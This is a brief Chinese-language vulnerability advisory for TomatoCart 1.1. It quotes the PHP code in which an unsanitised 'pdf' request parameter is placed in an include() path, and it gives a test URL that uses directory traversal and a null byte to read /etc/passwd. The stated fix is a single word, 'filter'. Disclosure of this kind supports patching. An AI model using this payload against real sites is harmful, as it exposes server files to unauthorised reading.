标题: TomatoCart 1.1 PostAuth Local File Include 
作者: brain[pillow] 
下载地址 http://www.tomatocart.com/ 
影响版本: 1.1 

缺陷代码分析：

 if ($osC_Customer->isLoggedOn() === true) {  

     

    if (isset($_REQUEST['module'])) {  

      $module = $_REQUEST['module'];  

      $osC_Language->load($module);  

    }   

      www.2cto.com

    if (isset($_REQUEST['pdf'])) {  

      $pdf = $_REQUEST['pdf'];  

    }   

       

    if (!empty($module) && !empty($pdf)) {  

      if (file_exists('includes/modules/pdf/' . $pdf . '.php')) {  

        include('includes/modules/pdf/' . $pdf . '.php');  

           

        $pdf_class = 'toC_' .ucfirst($pdf) . '_PDF';  

        $object = new $pdf_class();  

        $object ->render();  

           

        exit;  

      }  

    }  

  }  

  

========================================================= 

# 测试方法: 

  

/pdf.php?module=1&pdf=../../../../../../../../../../../../../etc/passwd%00

修复：过滤